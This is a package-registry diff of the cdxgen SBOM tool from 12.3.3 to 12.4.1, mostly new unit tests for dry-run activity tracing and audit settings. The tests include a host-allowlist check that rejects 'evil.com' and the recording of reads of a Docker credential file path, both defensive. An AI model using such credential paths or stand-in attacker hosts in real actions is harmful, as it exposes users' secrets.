@cyclonedx/cdxgen 12.3.3 → 12.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (175) hide show
  1. package/README.md +69 -25
  2. package/bin/audit.js +21 -7
  3. package/bin/cdxgen.js +270 -127
  4. package/bin/convert.js +34 -15
  5. package/bin/hbom.js +495 -0
  6. package/bin/repl.js +592 -37
  7. package/bin/validate.js +31 -4
  8. package/bin/verify.js +18 -5
  9. package/data/README.md +298 -25
  10. package/data/component-tags.json +6 -0
  11. package/data/crypto-oid.json +16 -0
  12. package/data/cyclonedx-2.0-bundled.schema.json +7182 -0
  13. package/data/predictive-audit-allowlist.json +11 -0
  14. package/data/queries-darwin.json +12 -1
  15. package/data/queries-win.json +7 -1
  16. package/data/queries.json +39 -2
  17. package/data/rules/ai-agent-governance.yaml +16 -0
  18. package/data/rules/asar-archives.yaml +150 -0
  19. package/data/rules/chrome-extensions.yaml +8 -0
  20. package/data/rules/ci-permissions.yaml +42 -18
  21. package/data/rules/container-risk.yaml +14 -7
  22. package/data/rules/dependency-sources.yaml +11 -0
  23. package/data/rules/hbom-compliance.yaml +325 -0
  24. package/data/rules/hbom-performance.yaml +307 -0
  25. package/data/rules/hbom-security.yaml +248 -0
  26. package/data/rules/host-topology.yaml +165 -0
  27. package/data/rules/mcp-servers.yaml +18 -3
  28. package/data/rules/obom-runtime.yaml +907 -22
  29. package/data/rules/package-integrity.yaml +14 -0
  30. package/data/rules/rootfs-hardening.yaml +179 -0
  31. package/data/rules/vscode-extensions.yaml +9 -0
  32. package/lib/audit/index.js +210 -8
  33. package/lib/audit/index.poku.js +332 -0
  34. package/lib/audit/reporters.js +222 -0
  35. package/lib/audit/targets.js +146 -1
  36. package/lib/audit/targets.poku.js +186 -0
  37. package/lib/cli/asar.poku.js +328 -0
  38. package/lib/cli/index.js +527 -99
  39. package/lib/cli/index.poku.js +1469 -212
  40. package/lib/evinser/evinser.js +14 -9
  41. package/lib/helpers/analyzer.js +1406 -29
  42. package/lib/helpers/analyzer.poku.js +342 -0
  43. package/lib/helpers/analyzerScope.js +712 -0
  44. package/lib/helpers/asarutils.js +1556 -0
  45. package/lib/helpers/asarutils.poku.js +443 -0
  46. package/lib/helpers/auditCategories.js +12 -0
  47. package/lib/helpers/auditCategories.poku.js +32 -0
  48. package/lib/helpers/bomUtils.js +155 -1
  49. package/lib/helpers/bomUtils.poku.js +79 -1
  50. package/lib/helpers/cbomutils.js +271 -1
  51. package/lib/helpers/cbomutils.poku.js +248 -5
  52. package/lib/helpers/display.js +291 -1
  53. package/lib/helpers/display.poku.js +149 -0
  54. package/lib/helpers/evidenceUtils.js +58 -0
  55. package/lib/helpers/evidenceUtils.poku.js +54 -0
  56. package/lib/helpers/exportUtils.js +9 -0
  57. package/lib/helpers/gtfobins.js +142 -8
  58. package/lib/helpers/gtfobins.poku.js +24 -1
  59. package/lib/helpers/hbom.js +710 -0
  60. package/lib/helpers/hbom.poku.js +496 -0
  61. package/lib/helpers/hbomAnalysis.js +268 -0
  62. package/lib/helpers/hbomAnalysis.poku.js +249 -0
  63. package/lib/helpers/hbomLoader.js +35 -0
  64. package/lib/helpers/hostTopology.js +803 -0
  65. package/lib/helpers/hostTopology.poku.js +363 -0
  66. package/lib/helpers/inventoryStats.js +69 -0
  67. package/lib/helpers/inventoryStats.poku.js +86 -0
  68. package/lib/helpers/lolbas.js +19 -1
  69. package/lib/helpers/lolbas.poku.js +23 -0
  70. package/lib/helpers/osqueryTransform.js +47 -0
  71. package/lib/helpers/osqueryTransform.poku.js +47 -0
  72. package/lib/helpers/plugins.js +350 -0
  73. package/lib/helpers/plugins.poku.js +57 -0
  74. package/lib/helpers/protobom.js +209 -45
  75. package/lib/helpers/protobom.poku.js +183 -5
  76. package/lib/helpers/protobomLoader.js +43 -0
  77. package/lib/helpers/protobomLoader.poku.js +31 -0
  78. package/lib/helpers/remote/dependency-track.js +36 -3
  79. package/lib/helpers/remote/dependency-track.poku.js +44 -0
  80. package/lib/helpers/source.js +24 -0
  81. package/lib/helpers/source.poku.js +32 -0
  82. package/lib/helpers/utils.js +1438 -93
  83. package/lib/helpers/utils.poku.js +846 -4
  84. package/lib/managers/binary.e2e.poku.js +367 -0
  85. package/lib/managers/binary.js +2293 -353
  86. package/lib/managers/binary.poku.js +1699 -1
  87. package/lib/managers/docker.js +201 -79
  88. package/lib/managers/docker.poku.js +337 -12
  89. package/lib/server/server.js +4 -28
  90. package/lib/stages/postgen/annotator.js +38 -0
  91. package/lib/stages/postgen/annotator.poku.js +107 -1
  92. package/lib/stages/postgen/auditBom.js +121 -18
  93. package/lib/stages/postgen/auditBom.poku.js +1366 -31
  94. package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
  95. package/lib/stages/postgen/postgen.js +406 -8
  96. package/lib/stages/postgen/postgen.poku.js +484 -0
  97. package/lib/stages/postgen/ruleEngine.js +116 -0
  98. package/lib/stages/pregen/envAudit.js +14 -3
  99. package/lib/validator/bomValidator.js +90 -38
  100. package/lib/validator/bomValidator.poku.js +90 -0
  101. package/lib/validator/complianceRules.js +4 -2
  102. package/lib/validator/index.poku.js +14 -0
  103. package/package.json +23 -21
  104. package/types/bin/hbom.d.ts +3 -0
  105. package/types/bin/hbom.d.ts.map +1 -0
  106. package/types/bin/repl.d.ts +1 -1
  107. package/types/bin/repl.d.ts.map +1 -1
  108. package/types/lib/audit/index.d.ts +44 -0
  109. package/types/lib/audit/index.d.ts.map +1 -1
  110. package/types/lib/audit/reporters.d.ts +16 -0
  111. package/types/lib/audit/reporters.d.ts.map +1 -1
  112. package/types/lib/audit/targets.d.ts.map +1 -1
  113. package/types/lib/cli/index.d.ts +16 -0
  114. package/types/lib/cli/index.d.ts.map +1 -1
  115. package/types/lib/evinser/evinser.d.ts +4 -0
  116. package/types/lib/evinser/evinser.d.ts.map +1 -1
  117. package/types/lib/helpers/analyzer.d.ts +33 -0
  118. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  119. package/types/lib/helpers/analyzerScope.d.ts +11 -0
  120. package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
  121. package/types/lib/helpers/asarutils.d.ts +34 -0
  122. package/types/lib/helpers/asarutils.d.ts.map +1 -0
  123. package/types/lib/helpers/auditCategories.d.ts +5 -0
  124. package/types/lib/helpers/auditCategories.d.ts.map +1 -1
  125. package/types/lib/helpers/bomUtils.d.ts +10 -0
  126. package/types/lib/helpers/bomUtils.d.ts.map +1 -1
  127. package/types/lib/helpers/cbomutils.d.ts +3 -2
  128. package/types/lib/helpers/cbomutils.d.ts.map +1 -1
  129. package/types/lib/helpers/display.d.ts.map +1 -1
  130. package/types/lib/helpers/evidenceUtils.d.ts +8 -0
  131. package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
  132. package/types/lib/helpers/exportUtils.d.ts.map +1 -1
  133. package/types/lib/helpers/gtfobins.d.ts +8 -0
  134. package/types/lib/helpers/gtfobins.d.ts.map +1 -1
  135. package/types/lib/helpers/hbom.d.ts +49 -0
  136. package/types/lib/helpers/hbom.d.ts.map +1 -0
  137. package/types/lib/helpers/hbomAnalysis.d.ts +76 -0
  138. package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
  139. package/types/lib/helpers/hbomLoader.d.ts +7 -0
  140. package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
  141. package/types/lib/helpers/hostTopology.d.ts +12 -0
  142. package/types/lib/helpers/hostTopology.d.ts.map +1 -0
  143. package/types/lib/helpers/inventoryStats.d.ts +11 -0
  144. package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
  145. package/types/lib/helpers/lolbas.d.ts.map +1 -1
  146. package/types/lib/helpers/osqueryTransform.d.ts +3 -0
  147. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
  148. package/types/lib/helpers/plugins.d.ts +58 -0
  149. package/types/lib/helpers/plugins.d.ts.map +1 -0
  150. package/types/lib/helpers/protobom.d.ts +5 -4
  151. package/types/lib/helpers/protobom.d.ts.map +1 -1
  152. package/types/lib/helpers/protobomLoader.d.ts +17 -0
  153. package/types/lib/helpers/protobomLoader.d.ts.map +1 -0
  154. package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
  155. package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
  156. package/types/lib/helpers/source.d.ts.map +1 -1
  157. package/types/lib/helpers/utils.d.ts +45 -8
  158. package/types/lib/helpers/utils.d.ts.map +1 -1
  159. package/types/lib/managers/binary.d.ts +5 -0
  160. package/types/lib/managers/binary.d.ts.map +1 -1
  161. package/types/lib/managers/docker.d.ts.map +1 -1
  162. package/types/lib/server/server.d.ts +2 -1
  163. package/types/lib/server/server.d.ts.map +1 -1
  164. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  165. package/types/lib/stages/postgen/auditBom.d.ts +26 -1
  166. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  167. package/types/lib/stages/postgen/postgen.d.ts +2 -1
  168. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  169. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  170. package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
  171. package/types/lib/third-party/arborist/lib/node.d.ts +23 -0
  172. package/types/lib/third-party/arborist/lib/node.d.ts.map +1 -1
  173. package/types/lib/validator/bomValidator.d.ts.map +1 -1
  174. package/types/lib/validator/complianceRules.d.ts.map +1 -1
  175. package/data/spdx-model-v3.0.1.jsonld +0 -15999
@@ -10,7 +10,7 @@ import {
10
10
  unlinkSync,
11
11
  writeFileSync,
12
12
  } from "node:fs";
13
- import { tmpdir } from "node:os";
13
+ import { platform, tmpdir } from "node:os";
14
14
  import path from "node:path";
15
15
  import process from "node:process";
16
16
 
@@ -23,17 +23,23 @@ import { parse as loadYaml } from "yaml";
23
23
 
24
24
  import { validateRefs } from "../validator/bomValidator.js";
25
25
  import {
26
+ addEvidenceForDotnet,
27
+ addEvidenceForImports,
26
28
  attachIdentityTools,
27
29
  buildObjectForCocoaPod,
28
30
  buildObjectForGradleModule,
31
+ cdxgenAgent,
29
32
  collectExecutables,
33
+ collectSharedLibs,
30
34
  convertOSQueryResults,
31
35
  encodeForPurl,
32
36
  extractToolRefs,
33
37
  findLicenseId,
34
38
  findPnpmPackagePath,
39
+ getAllFiles,
35
40
  getCratesMetadata,
36
41
  getDartMetadata,
42
+ getDefaultBomAuditCategories,
37
43
  getLicenses,
38
44
  getMvnMetadata,
39
45
  getPropertyGroupTextNodes,
@@ -42,6 +48,7 @@ import {
42
48
  guessPypiMatchingVersion,
43
49
  hasAnyProjectType,
44
50
  inferJarGroupFromManifest,
51
+ isAllowedHttpHost,
45
52
  isDryRunError,
46
53
  isPackageManagerAllowed,
47
54
  isPartialTree,
@@ -133,14 +140,19 @@ import {
133
140
  parseYarnLock,
134
141
  pnpmMetadata,
135
142
  purlFromUrlString,
143
+ readEnvironmentVariable,
136
144
  readZipEntry,
145
+ recordSensitiveFileRead,
146
+ recordSymlinkResolution,
137
147
  resetRecordedActivities,
148
+ safeExistsSync,
138
149
  safeMkdtempSync,
139
150
  safeRmSync,
140
151
  safeSpawnSync,
141
152
  safeUnlinkSync,
142
153
  safeWriteSync,
143
154
  setDryRunMode,
155
+ shouldRunPredictiveBomAudit,
144
156
  splitOutputByGradleProjects,
145
157
  toGemModuleNames,
146
158
  trimJarGroupSuffix,
@@ -149,6 +161,23 @@ import {
149
161
 
150
162
  const jarMetadataFixturesDir = path.resolve("test", "data", "jar-metadata");
151
163
 
164
+ function createMockedProcess(envOverrides = {}) {
165
+ const env = {
166
+ ...process.env,
167
+ };
168
+ for (const [key, value] of Object.entries(envOverrides)) {
169
+ if (value === undefined) {
170
+ delete env[key];
171
+ } else {
172
+ env[key] = value;
173
+ }
174
+ }
175
+ const mockedProcess = Object.create(process);
176
+ mockedProcess.argv = [...process.argv];
177
+ mockedProcess.env = env;
178
+ return mockedProcess;
179
+ }
180
+
152
181
  function readJarMetadataFixture(...segments) {
153
182
  return readFileSync(path.join(jarMetadataFixturesDir, ...segments), {
154
183
  encoding: "utf-8",
@@ -281,15 +310,320 @@ it("safeSpawnSync() returns a dry-run sentinel result when dry run mode is enabl
281
310
  const result = safeSpawnSync("node", ["--version"], {});
282
311
  assert.strictEqual(result.status, 1);
283
312
  assert.ok(isDryRunError(result.error));
284
- const activities = getRecordedActivities();
285
- assert.strictEqual(activities[0].kind, "execute");
286
- assert.strictEqual(activities[0].status, "blocked");
313
+ const executeActivity = getRecordedActivities().find(
314
+ (activity) => activity.kind === "execute",
315
+ );
316
+ assert.ok(executeActivity);
317
+ assert.strictEqual(executeActivity.status, "blocked");
318
+ } finally {
319
+ setDryRunMode(false);
320
+ resetRecordedActivities();
321
+ }
322
+ });
323
+
324
+ it("safeSpawnSync() does not classify non-probe -v commands as version checks", () => {
325
+ setDryRunMode(true);
326
+ resetRecordedActivities();
327
+ try {
328
+ safeSpawnSync("swift", ["package", "-v", "resolve"], {});
329
+ const executeActivity = getRecordedActivities().find(
330
+ (activity) => activity.kind === "execute",
331
+ );
332
+ assert.ok(executeActivity);
333
+ assert.strictEqual(executeActivity.probeType, undefined);
334
+ assert.ok(!/version check/i.test(executeActivity.reason));
335
+ } finally {
336
+ setDryRunMode(false);
337
+ resetRecordedActivities();
338
+ }
339
+ });
340
+
341
+ it("safeSpawnSync() reads CDXGEN_ALLOWED_COMMANDS once per invocation", () => {
342
+ const originalAllowedCommands = process.env.CDXGEN_ALLOWED_COMMANDS;
343
+ process.env.CDXGEN_ALLOWED_COMMANDS = "echo-cdxgen-test";
344
+ setDryRunMode(true);
345
+ resetRecordedActivities();
346
+ try {
347
+ safeSpawnSync("echo-cdxgen-test", ["value"], {});
348
+ const envActivities = getRecordedActivities().filter(
349
+ (activity) => activity.target === "process.env:CDXGEN_ALLOWED_COMMANDS",
350
+ );
351
+ assert.strictEqual(envActivities.length, 1);
352
+ assert.strictEqual(envActivities[0].count, 1);
353
+ } finally {
354
+ if (originalAllowedCommands === undefined) {
355
+ delete process.env.CDXGEN_ALLOWED_COMMANDS;
356
+ } else {
357
+ process.env.CDXGEN_ALLOWED_COMMANDS = originalAllowedCommands;
358
+ }
359
+ setDryRunMode(false);
360
+ resetRecordedActivities();
361
+ }
362
+ });
363
+
364
+ it("safeSpawnSync() records stdout and stderr byte sizes in debug mode", async () => {
365
+ const mockedProcess = createMockedProcess({
366
+ CDXGEN_ALLOWED_COMMANDS: "echo-cdxgen-test",
367
+ CDXGEN_DEBUG_MODE: "debug",
368
+ CDXGEN_SECURE_MODE: undefined,
369
+ NODE_OPTIONS: undefined,
370
+ });
371
+ const utilsModule = await esmock("./utils.js", {
372
+ "node:child_process": {
373
+ spawnSync: sinon.stub().returns({
374
+ status: 0,
375
+ stdout: "hello",
376
+ stderr: "warn",
377
+ }),
378
+ },
379
+ "node:process": {
380
+ default: mockedProcess,
381
+ },
382
+ });
383
+ utilsModule.resetRecordedActivities();
384
+ utilsModule.safeSpawnSync("echo-cdxgen-test", ["value"], {});
385
+ const executeActivity = utilsModule
386
+ .getRecordedActivities()
387
+ .find(
388
+ (activity) =>
389
+ activity.kind === "execute" &&
390
+ activity.target === "echo-cdxgen-test value",
391
+ );
392
+ assert.ok(executeActivity);
393
+ assert.strictEqual(executeActivity.stdoutBytes, 5);
394
+ assert.strictEqual(executeActivity.stderrBytes, 4);
395
+ utilsModule.resetRecordedActivities();
396
+ });
397
+
398
+ it("safeExtractArchive() records source byte size in debug mode", async () => {
399
+ const mockedProcess = createMockedProcess({
400
+ CDXGEN_ALLOWED_COMMANDS: undefined,
401
+ CDXGEN_DEBUG_MODE: "debug",
402
+ CDXGEN_SECURE_MODE: undefined,
403
+ NODE_OPTIONS: undefined,
404
+ });
405
+ const utilsModule = await esmock("./utils.js", {
406
+ "node:process": {
407
+ default: mockedProcess,
408
+ },
409
+ });
410
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
411
+ const sourcePath = path.join(tempDir, "archive.zip");
412
+ const targetPath = path.join(tempDir, "extracted");
413
+ mkdirSync(targetPath, { recursive: true });
414
+ writeFileSync(sourcePath, "abc");
415
+ utilsModule.resetRecordedActivities();
416
+ await utilsModule.safeExtractArchive(
417
+ sourcePath,
418
+ targetPath,
419
+ async () => {
420
+ writeFileSync(path.join(targetPath, "a.txt"), "hello");
421
+ mkdirSync(path.join(targetPath, "nested"), { recursive: true });
422
+ writeFileSync(path.join(targetPath, "nested", "b.txt"), "xy");
423
+ },
424
+ "unzip",
425
+ );
426
+ const archiveActivity = utilsModule
427
+ .getRecordedActivities()
428
+ .find(
429
+ (activity) =>
430
+ activity.kind === "unzip" &&
431
+ activity.target === `${sourcePath} -> ${targetPath}`,
432
+ );
433
+ assert.ok(archiveActivity);
434
+ assert.strictEqual(archiveActivity.status, "completed");
435
+ assert.strictEqual(archiveActivity.sourceBytes, 3);
436
+ rmSync(tempDir, { recursive: true, force: true });
437
+ });
438
+
439
+ it("safeExtractArchive() records failed extraction activity in debug mode", async () => {
440
+ const mockedProcess = createMockedProcess({
441
+ CDXGEN_ALLOWED_COMMANDS: undefined,
442
+ CDXGEN_DEBUG_MODE: "debug",
443
+ CDXGEN_SECURE_MODE: undefined,
444
+ NODE_OPTIONS: undefined,
445
+ });
446
+ const utilsModule = await esmock("./utils.js", {
447
+ "node:process": {
448
+ default: mockedProcess,
449
+ },
450
+ });
451
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
452
+ const sourcePath = path.join(tempDir, "archive.tar");
453
+ const targetPath = path.join(tempDir, "extracted");
454
+ mkdirSync(targetPath, { recursive: true });
455
+ writeFileSync(sourcePath, "abcd");
456
+ utilsModule.resetRecordedActivities();
457
+ const extractionError = new Error("permission denied");
458
+ extractionError.code = "EACCES";
459
+ await assert.rejects(
460
+ utilsModule.safeExtractArchive(
461
+ sourcePath,
462
+ targetPath,
463
+ async () => {
464
+ throw extractionError;
465
+ },
466
+ "untar",
467
+ ),
468
+ extractionError,
469
+ );
470
+ const archiveActivity = utilsModule
471
+ .getRecordedActivities()
472
+ .find(
473
+ (activity) =>
474
+ activity.kind === "untar" &&
475
+ activity.target === `${sourcePath} -> ${targetPath}`,
476
+ );
477
+ assert.ok(archiveActivity);
478
+ assert.strictEqual(archiveActivity.status, "failed");
479
+ assert.strictEqual(archiveActivity.errorCode, "EACCES");
480
+ assert.strictEqual(archiveActivity.sourceBytes, 4);
481
+ rmSync(tempDir, { recursive: true, force: true });
482
+ });
483
+
484
+ it("records dry-run environment variable reads via helper access", () => {
485
+ const originalEnvValue = process.env.CDXGEN_TEST_ENV_READ;
486
+ process.env.CDXGEN_TEST_ENV_READ = "trace-me";
487
+ setDryRunMode(true);
488
+ resetRecordedActivities();
489
+ try {
490
+ readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
491
+ readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
492
+ const activities = getRecordedActivities().filter(
493
+ (activity) => activity.target === "process.env:CDXGEN_TEST_ENV_READ",
494
+ );
495
+ assert.strictEqual(activities.length, 1);
496
+ assert.strictEqual(activities[0].kind, "env");
497
+ assert.match(activities[0].reason, /2 times/);
498
+ } finally {
499
+ if (originalEnvValue === undefined) {
500
+ delete process.env.CDXGEN_TEST_ENV_READ;
501
+ } else {
502
+ process.env.CDXGEN_TEST_ENV_READ = originalEnvValue;
503
+ }
504
+ setDryRunMode(false);
505
+ resetRecordedActivities();
506
+ }
507
+ });
508
+
509
+ it("isAllowedHttpHost() honors exact and wildcard host allowlists", () => {
510
+ const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
511
+ try {
512
+ process.env.CDXGEN_ALLOWED_HOSTS = "example.com,*.trusted.test";
513
+ assert.strictEqual(isAllowedHttpHost("example.com"), true);
514
+ assert.strictEqual(isAllowedHttpHost("api.trusted.test"), true);
515
+ assert.strictEqual(isAllowedHttpHost("trusted.test"), false);
516
+ assert.strictEqual(isAllowedHttpHost("evil.com"), false);
517
+ } finally {
518
+ if (originalAllowedHosts === undefined) {
519
+ delete process.env.CDXGEN_ALLOWED_HOSTS;
520
+ } else {
521
+ process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
522
+ }
523
+ }
524
+ });
525
+
526
+ it("deduplicates sensitive file read activity entries in dry-run mode", () => {
527
+ setDryRunMode(true);
528
+ resetRecordedActivities();
529
+ try {
530
+ recordSensitiveFileRead("/tmp/docker/config.json", {
531
+ label: "Docker credential file",
532
+ });
533
+ recordSensitiveFileRead("/tmp/docker/config.json", {
534
+ label: "Docker credential file",
535
+ });
536
+ const activities = getRecordedActivities().filter(
537
+ (activity) => activity.target === "/tmp/docker/config.json",
538
+ );
539
+ assert.strictEqual(activities.length, 1);
540
+ assert.strictEqual(activities[0].kind, "read");
541
+ assert.match(activities[0].reason, /2 times/);
542
+ } finally {
543
+ setDryRunMode(false);
544
+ resetRecordedActivities();
545
+ }
546
+ });
547
+
548
+ it("records classified manifest and config inspections in dry-run mode", () => {
549
+ const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-inspect-"));
550
+ const packageJsonFile = path.join(tmpRoot, "package.json");
551
+ const settingsXmlFile = path.join(tmpRoot, "settings.xml");
552
+ writeFileSync(packageJsonFile, "{}");
553
+ writeFileSync(settingsXmlFile, "<settings />");
554
+ setDryRunMode(true);
555
+ resetRecordedActivities();
556
+ try {
557
+ assert.ok(safeExistsSync(packageJsonFile));
558
+ assert.ok(safeExistsSync(settingsXmlFile));
559
+ const activities = getRecordedActivities().filter((activity) =>
560
+ [packageJsonFile, settingsXmlFile].includes(activity.target),
561
+ );
562
+ assert.strictEqual(activities.length, 2);
563
+ assert.deepStrictEqual(
564
+ activities.map((activity) => activity.kind),
565
+ ["inspect", "inspect"],
566
+ );
567
+ assert.deepStrictEqual(
568
+ activities.map((activity) => activity.classification),
569
+ ["manifest", "config"],
570
+ );
571
+ } finally {
572
+ setDryRunMode(false);
573
+ resetRecordedActivities();
574
+ rmSync(tmpRoot, { force: true, recursive: true });
575
+ }
576
+ });
577
+
578
+ it("records recursive file discovery activity in dry-run mode", () => {
579
+ const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
580
+ const packageJsonFile = path.join(tmpRoot, "package.json");
581
+ writeFileSync(packageJsonFile, "{}");
582
+ setDryRunMode(true);
583
+ resetRecordedActivities();
584
+ try {
585
+ const files = getAllFiles(tmpRoot, "**/package.json");
586
+ assert.deepStrictEqual(files, [packageJsonFile]);
587
+ const activities = getRecordedActivities().filter((activity) =>
588
+ activity.target.includes("**/package.json"),
589
+ );
590
+ assert.strictEqual(activities.length, 1);
591
+ assert.strictEqual(activities[0].kind, "discover");
592
+ assert.strictEqual(activities[0].discoveryType, "manifest-discovery");
287
593
  } finally {
288
594
  setDryRunMode(false);
289
595
  resetRecordedActivities();
596
+ rmSync(tmpRoot, { force: true, recursive: true });
290
597
  }
291
598
  });
292
599
 
600
+ it("records updated discovery activity when a repeated glob match count changes", () => {
601
+ const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
602
+ const packageJsonFile = path.join(tmpRoot, "package.json");
603
+ const nestedDir = path.join(tmpRoot, "nested");
604
+ const nestedPackageJsonFile = path.join(nestedDir, "package.json");
605
+ writeFileSync(packageJsonFile, "{}");
606
+ setDryRunMode(true);
607
+ resetRecordedActivities();
608
+ try {
609
+ getAllFiles(tmpRoot, "**/package.json");
610
+ mkdirSync(nestedDir, { recursive: true });
611
+ writeFileSync(nestedPackageJsonFile, "{}");
612
+ getAllFiles(tmpRoot, "**/package.json");
613
+ const activities = getRecordedActivities().filter((activity) =>
614
+ activity.target.includes("**/package.json"),
615
+ );
616
+ assert.strictEqual(activities.length, 2);
617
+ assert.deepStrictEqual(
618
+ activities.map((activity) => activity.matchedCount),
619
+ [1, 2],
620
+ );
621
+ } finally {
622
+ setDryRunMode(false);
623
+ resetRecordedActivities();
624
+ rmSync(tmpRoot, { force: true, recursive: true });
625
+ }
626
+ });
293
627
  it("dry-run filesystem wrappers do not mutate the filesystem", () => {
294
628
  const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-"));
295
629
  const fileToKeep = path.join(tmpRoot, "keep.txt");
@@ -445,6 +779,37 @@ it("cdxgenAgent records completed and failed network activity outcomes", async (
445
779
  }
446
780
  });
447
781
 
782
+ it("cdxgenAgent reads CDXGEN_ALLOWED_HOSTS once per request", () => {
783
+ const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
784
+ try {
785
+ process.env.CDXGEN_ALLOWED_HOSTS = "example.com";
786
+ const beforeRequestHook =
787
+ cdxgenAgent.defaults.options.hooks.beforeRequest[0];
788
+
789
+ setDryRunMode(true);
790
+ resetRecordedActivities();
791
+ assert.throws(() =>
792
+ beforeRequestHook({
793
+ context: {},
794
+ url: new URL("https://example.com/resource"),
795
+ }),
796
+ );
797
+ const envActivities = getRecordedActivities().filter(
798
+ (activity) => activity.target === "process.env:CDXGEN_ALLOWED_HOSTS",
799
+ );
800
+ assert.strictEqual(envActivities.length, 1);
801
+ assert.strictEqual(envActivities[0].count, 1);
802
+ } finally {
803
+ if (originalAllowedHosts === undefined) {
804
+ delete process.env.CDXGEN_ALLOWED_HOSTS;
805
+ } else {
806
+ process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
807
+ }
808
+ setDryRunMode(false);
809
+ resetRecordedActivities();
810
+ }
811
+ });
812
+
448
813
  it("safeSpawnSync() logs container python notices to stdout", () => {
449
814
  const originalConsoleLog = console.log;
450
815
  const originalConsoleWarn = console.warn;
@@ -3924,6 +4289,44 @@ it("parse project.assets.json", () => {
3924
4289
  */
3925
4290
  });
3926
4291
 
4292
+ it("addEvidenceForDotnet() initializes evidence before adding occurrences", () => {
4293
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-dotnet-evidence-"));
4294
+ const slicesFile = path.join(tempDir, "dosai.json");
4295
+ try {
4296
+ writeFileSync(
4297
+ slicesFile,
4298
+ JSON.stringify({
4299
+ Dependencies: [
4300
+ {
4301
+ Module: "Example.dll",
4302
+ Path: "src/Program.cs",
4303
+ LineNumber: 42,
4304
+ },
4305
+ ],
4306
+ }),
4307
+ );
4308
+ const pkgList = addEvidenceForDotnet(
4309
+ [
4310
+ {
4311
+ name: "Example",
4312
+ purl: "pkg:nuget/Example@1.0.0",
4313
+ properties: [{ name: "PackageFiles", value: "Example.dll" }],
4314
+ },
4315
+ ],
4316
+ slicesFile,
4317
+ );
4318
+ assert.deepStrictEqual(pkgList[0].evidence?.occurrences, [
4319
+ {
4320
+ location: "src/Program.cs",
4321
+ line: 42,
4322
+ },
4323
+ ]);
4324
+ assert.strictEqual(pkgList[0].scope, "required");
4325
+ } finally {
4326
+ rmSync(tempDir, { recursive: true, force: true });
4327
+ }
4328
+ });
4329
+
3927
4330
  it("parse packages.lock.json", () => {
3928
4331
  assert.deepStrictEqual(parseCsPkgLockData(null), {
3929
4332
  dependenciesList: [],
@@ -10084,6 +10487,85 @@ it("hasAnyProjectType tests", () => {
10084
10487
  );
10085
10488
  });
10086
10489
 
10490
+ it("shouldRunPredictiveBomAudit tests", () => {
10491
+ assert.strictEqual(shouldRunPredictiveBomAudit({}, "cdxgen"), true);
10492
+ assert.strictEqual(
10493
+ shouldRunPredictiveBomAudit({ projectType: ["os"] }, "cdxgen"),
10494
+ false,
10495
+ );
10496
+ assert.strictEqual(
10497
+ shouldRunPredictiveBomAudit({ projectType: ["linux"] }, "cdxgen"),
10498
+ false,
10499
+ );
10500
+ assert.strictEqual(
10501
+ shouldRunPredictiveBomAudit({ projectType: ["os", "darwin"] }, "cdxgen"),
10502
+ false,
10503
+ );
10504
+ assert.strictEqual(
10505
+ shouldRunPredictiveBomAudit({ projectType: ["os", "js"] }, "cdxgen"),
10506
+ true,
10507
+ );
10508
+ assert.strictEqual(
10509
+ shouldRunPredictiveBomAudit({ projectType: "os,linux" }, "cdxgen"),
10510
+ false,
10511
+ );
10512
+ assert.strictEqual(
10513
+ shouldRunPredictiveBomAudit({ projectType: ["hbom"] }, "cdxgen"),
10514
+ false,
10515
+ );
10516
+ assert.strictEqual(
10517
+ shouldRunPredictiveBomAudit({ projectType: ["hardware"] }, "cdxgen"),
10518
+ false,
10519
+ );
10520
+ assert.strictEqual(
10521
+ shouldRunPredictiveBomAudit({ projectType: ["js"] }, "obom"),
10522
+ false,
10523
+ );
10524
+ assert.strictEqual(
10525
+ shouldRunPredictiveBomAudit({ projectType: ["js"] }, "hbom"),
10526
+ false,
10527
+ );
10528
+ });
10529
+
10530
+ it("getDefaultBomAuditCategories tests", () => {
10531
+ assert.strictEqual(getDefaultBomAuditCategories({}, "cdxgen"), undefined);
10532
+ assert.strictEqual(
10533
+ getDefaultBomAuditCategories({ projectType: ["os"] }, "cdxgen"),
10534
+ "obom-runtime",
10535
+ );
10536
+ assert.strictEqual(
10537
+ getDefaultBomAuditCategories({ projectType: ["linux"] }, "cdxgen"),
10538
+ "obom-runtime",
10539
+ );
10540
+ assert.strictEqual(
10541
+ getDefaultBomAuditCategories({ projectType: ["os", "js"] }, "cdxgen"),
10542
+ undefined,
10543
+ );
10544
+ assert.strictEqual(
10545
+ getDefaultBomAuditCategories({ projectType: ["hbom"] }, "cdxgen"),
10546
+ "hbom-security,hbom-performance,hbom-compliance",
10547
+ );
10548
+ assert.strictEqual(
10549
+ getDefaultBomAuditCategories({ projectType: ["hardware"] }, "cdxgen"),
10550
+ "hbom-security,hbom-performance,hbom-compliance",
10551
+ );
10552
